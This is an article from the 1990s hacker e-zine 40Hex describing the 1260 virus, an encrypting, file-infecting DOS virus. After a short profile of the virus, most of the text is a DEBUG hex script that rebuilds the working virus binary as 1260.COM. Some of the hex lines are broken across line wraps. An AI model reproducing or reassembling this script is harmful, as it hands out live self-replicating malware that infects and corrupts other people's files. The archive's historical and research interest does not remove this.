home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / 40hex_2.009 < prev    next >
Text File  |  1995-01-03  |  6KB  |  138 lines
  1. 40hEX vOLUME 1 iSSUE 2                                                   0009
  2.  
  3.                              tHE 1260 vIRUS
  4.  
  5.      hERE'S A NICE LITTLE ENCRYPTING VIRUS WRIT
  6. TEN IN aMERICA.
  7.  
  8.  aLIASES:     v2p1
  9.  v sTATUS:    rESEARCH
  10.  dISCOVERY:   jANUARY, 1990
  11.  sYMPTOMS:    .com FILE GROWTH
  12.  oRIGIN:      mINNESOTA, usa
  13.  eFF lENGTH:  1,260 bYTES
  14.  tYPE cODE:   pnc - pARASITIC eNCRYPTING nON-rESIDENT .com iNFECTOR
  15.  dETECTION mETHOD:  vIRUsCAN v57+, ibm sCAN, pRO-sCAN 1.4+, f-pROT 1.12+,
  16.               avtk 3.5+, vIRhUNT 2.0+, nav
  17.  rEMOVAL iNSTRUCTIONS: cLEANuP v57+, pRO-sCAN 1.4+, f-pROT 1.12+, vIRhUNT 2.0+
  18.  gENERAL cOMMENTS:
  19.        tHE 1260 VIRUS WAS FIRST ISOLATED IN jANUARY, 1990.  tHIS
  20.        VIRUS DOES NOT INSTALL ITSELF RESIDENT IN MEMORY, BUT IS IT
  21.        EXTREMELY VIRULENT AT INFECTING .com FILES.  iNFECTED FILES
  22.        WILL HAVE THEIR LENGTH INCREASED BY 1,260 BYTES, AND THE
  23.        RESULTING FILE WILL BE ENCRYPTED.  tHE ENCRYPTION KEY CHANGES
  24.        WITH EACH INFECTION WHICH OCCURS.
  25.  
  26.        tHE 1260 VIRUS IS DERIVED FROM THE ORIGINAL vIENNA vIRUS, THOUGH
  27.        IT IS HIGHLY MODIFIED.
  28.  
  29.        tHIS VIRUS WAS DEVELOPED AS A RESEARCH VIRUS BY mARK wASHBUR
  30. N, WHO
  31.        WISHED TO SHOW THE ANTI-VIRAL COMMUNITY WHY IDENTIFICATION STRING
  32.        SCANNERS DO NOT WORK IN ALL CASES.  tHE ENCRYPTION USED IN 1260 IS
  33.        ONE OF MANY POSSIBLE CASES OF THE ENCRYPTION WHICH MAY OCCUR WITH
  34.        wASHBURN'S LATER RESEARCH VIRUS, v2p2.
  35.  
  36.  
  37. ------------------------------------------------------------------------------
  38.  
  39. N 1260.COM
  40. E 0100  e9 1d 00 6e 66 65 63 74 65 64 20 50 72 6f 67 72
  41. E 0110  61 6d 2e 20 0d 0a 24 ba 02 01 b4 09 cd 21 cd 20
  42. E 0120  90 b8 89 86 4b b9 fd 04 fc 46 bf 47 01 90 2b da
  43. E 0130  31 0d 33 d1 2b d8 31 05 47 42 4b 40 90 e2 ee 4b
  44. E 0140  4b 42 47 43 42 f8 47 ff 18 71 18 d2 a5 40 19 e2
  45. E 0150  6d b4 08 f8 5c fa f4 a6 eb 08 55 f2 f4 73 82 1a
  46. E 0160  65 c4 c4 4f 82 24 55 fa f4 7b b2 16 55 f4 e4 6f
  47. E 0170  a2 00 1f f9 0c c2 f7 7d 06 73 32 66 f4 45 84 87
  48. E 0180  3d 81 84 7a 77 5e 7f 04 40 c2 39 d7 c8 fa 28 c1
  49. E 0190  b6 e1 0d 64 e6 fc 40 d9 39 d3 38 fa 71 a4 38 0a
  50. E 01a0  6b e1 82 38 c3 71 22 77 36 13 f4 42 ee 37 c5 e0
  51. E 01b0  b2 6c e2 c
  52. a e4 45 f4 f6 aa a4 75 30 68 fa a8 be
  53. E 01c0  05 83 f7 a9 bc ff f5 5b 5b 86 18 15 0f a5 e2 6e
  54. E 01d0  9b 17 6e 39 64 3d 54 f7 7e 0d 1e cd 65 37 46 b9
  55. E 01e0  31 c3 b0 c3 2c df f7 3b eb a5 d3 79 eb d7 e5 6c
  56. E 01f0  1b c5 6e 91 11 7a 32 56 f5 5f c9 cc 81 f0 b9 87
  57. E 0200  f1 87 2f 6c 71 37 4b f7 f5 a8 ea 7e 83 0f 65 1a
  58. E 0210  1a 97 e6 57 b9 51 7c 89 07 78 06 76 33 6d c5 7e
  59. E 0220  c3 c3 36 63 4e 08 41 b9 7e 25 74 35 54 fb 5c e4
  60. E 0230  e5 2e c4 0c e3 6b 39 43 ba 3e d4 84 f6 10 9a cb
  61. E 0240  8e 87 f2 07 21 e4 ce ef 86 19 73 4c 09 fc e2 18
  62. E 0250  96 01 61 5c 19 fc f8 84 2c 7f 8c 02 a4 7d 04 3f
  63. E 0260  c2 68 68 fc c2 89 08 ae 4a f4 b1 7b 24 7d 20 41
  64. E 0270  e2 29 c3 69 ac 0a 4a f1 b1 75 13 0e 0d 77 54 01
  65. E 0280  40 25 82 4d a3 44 f0 cd 79 22 73 32 53 fc 2f c1
  66. E 0290  91 e0 0b 88 e3 30 79 28 4a f4 a5 3d d3 75 8c 38
  67. E 02a0  4b 92 38 74 fd 45 f1 f0 79 22 73 32 62 fc 2f c1
  68. E 02b0  2e bf cb fa 2e 09 3a f3 f2 38 b0 c7 e3 30 7a cf
  69. E 02c0  0f 49 c1 3e 85 f3 fd 45 fd fb 30 de 8e f0 04 fa
  70. E 02d0  ec
  71.  27 67 36 21 2c a9 37 ac 37 78 57 fe f3 01 2f
  72. E 02e0  a4 4f 59 cf 4c 32 20 fb 31 9f 12 01 31 87 18 00
  73. E 02f0  42 e8 21 7d f6 fe 49 d3 30 da ce 2e 31 0d fa d9
  74. E 0300  7d 47 4c a6 a9 f2 31 37 be bd 0d 33 1a 31 12 ef
  75. E 0310  21 cf cc 2a e9 3f 31 ba bb 13 31 78 f3 77 ca cf
  76. E 0320  94 07 cd 4e 0c d4 fc 76 71 fa fd 33 6d 8b 17 ef
  77. E 0330  66 ad 1d 23 d3 44 bb 15 74 7f f9 ff 31 1a 6f f1
  78. E 0340  c1 08 8f e0 d0 f0 30 2e a7 24 7d 3d db f2 2b a8
  79. E 0350  0a ed ec 06 f8 f3 75 80 12 7b 3f ee fc 3e ea 2f
  80. E 0360  8a 2c 4f ce 00 be 58 ff fd 7b 3f ee fc 3e 5b b1
  81. E 0370  14 ea 55 ec ec 79 8a 12 30 00 87 38 d9 f2 7f 2a
  82. E 0380  07 cc 62 a5 4b bd 56 75 b2 16 7d 17 4a f1 d7 21
  83. E 0390  98 e3 56 ee ec 1a 4a fe 17 17 30 75 8a 1e 9a 45
  84. E 03a0  32 06 6d d6 f5 f2 7d 38 ab fa 30 c2 41 35 e2 ec
  85. E 03b0  67 3d 1f 4a b2 a9 14 6c fc ff fa fe ac 0d ee c3
  86. E 03c0  e4 90 2e 32 e1 f7 31 9c eb e7 45 ff bf 4a ed ef
  87. E 03d0  57 eb ed 22 cc 81 f2 4b bd 42 fe ff 31 27 92 19
  88. E 03e0  4c 09 5e cf 00 d2 76 a9 07 70 b3 07 7c 12 0d 10
  89. E
  90. 03f0  6c 22 f2 ef 55 f2 aa 32 dc 4f c3 32 dc 4b 8c cc
  91. E 0400  06 c5 7b 04 5b 72 3f 5e fd 36 dc e1 76 a5 11 61
  92. E 0410  b3 15 59 f5 20 d2 e2 a6 ce 3b ce 24 ce 21 fe 39
  93. E 0420  46 2e 72 cf cc a4 15 51 fd 38 76 b1 0d 72 1c d3
  94. E 0430  6c 6a 2c a7 7f 22 34 2e 34 2a 34 76 b3 03 8c ee
  95. E 0440  0a 0b 5c 4e 3e 33 07 2f 2e a1 3d a4 ae 33 06 35
  96. E 0450  11 6d 3e 99 17 fb 2e 77 3f 29 1e ac 29 7b 06 94
  97. E 0460  8e 1f cd 8a 22 7b 0e 0f 5a 3b 44 fc fe 18 30 13
  98. E 0470  65 2a cd aa 08 cb b8 1a 8b 0b 3d af 75 2c de da
  99. E 0480  05 ff 8c 73 c9 f2 77 8a 1a 54 ce f8 74 b7 e9 e0
  100. E 0490  ef 60 a9 eb b0 a8 a5 33 ad 73 22 ac a8 7b b8 28
  101. E 04a0  62 f8 ca 46 89 f7 da 02 76 bf f9 a2 a6 ab 21 70
  102. E 04b0  f0 b8 56 ec ee a0 e1 77 b8 14 d3 7e fe 0a ad 03
  103. E 04c0  0d 80 4b e3 20 96 fd 5c f9 fb f3 a7 5e f5 ed 4c
  104. E 04d0  e3 eb 16 b7 f2 6e 3e 63 e3 ab 45 ff fd a3 d2 44
  105. E 04e0  8b 2b 37 6c c1 f3 76 b9 21 58 f9 ff 76 b5 33 4c
  106. E 04f0  eb eb 66 a9 0f 50 f3 ff 06 a3 e2 62 3e 4c ca 8e
  107. E 0500  35 02 0b 36 70 f7 05 03 bb b0 6d ce f8 c2
  108. e0 dc
  109. E 0510  3c d8 34 c4 35 d8 24 d4 27 6b bd b8 be b5 8f 37
  110. E 0520  86 5b 2f 28 ce f3 fe fc fe fd fc f6 fc f9 ec e4
  111. E 0530  ec e7 ec e2 ef fd ff ef ff e9 ff eb ff e5 0f 17
  112. E 0540  0f 11 0c 13 0c ee fd e0 fd e5 fd de fd d3 ed cc
  113. E 0550  ed c9 ed ca 67 bc 14 75 ba 10 77 00 7d 1d 7a cd
  114. E 0560  24 eb cc 7a 8c 4b 10 fa 77 2c 7d 14 21 f1 21 cf
  115. E 0570  70 ba 67 a0 04 79 ba 14 77 04 7d 11 4a f1 64 8d
  116. E 0580  8c d2 11 4d bd f7 cd f3 bc bd 1e 06 3f 19 f9 a7
  117. E 0590  05 f7 ec c4 c2 b1 b3 b3 fc aa bd aa b4 cf 98 87
  118. E 05a0  82 93 e2 8d 83 bf fc b3 fc fa fc fe fc f2 ec ee
  119. E 05b0  ec ea ec ee ec f2 fc fe fc fa fc fe fc f2 0c 0f
  120. E 05c0  0d 0b 0d 0f 0d f3 fd ff fd fb fd ff fd f3 ed ef
  121. E 05d0  ed eb ed ef ed f3 fd ff fd fb fd ff fd f3 cf f0
  122. E 05e0  f2 f4 f2 f0 f2 cc c2 bc b2 b6 fe fc fd f3 ed ef
  123. E 05f0  ed eb ed cf ca 97 a6 ed dd fb fd ff a9 ba c3 d6
  124. E 0600  a3 c8 c2 c2 8d be fd b2 fd fb fd ff 1a 1a 1a 1a
  125.  
  126. RCX
  127. 50c
  128. W
  129. Q
  130.  
  131. ------------------------------------------------------------------------------
  132.  
  133.  
  134.  
  135.                                                                       hr
  136.  
  137. Downloaded From P-80 International Information Systems 304-744-2253
  138.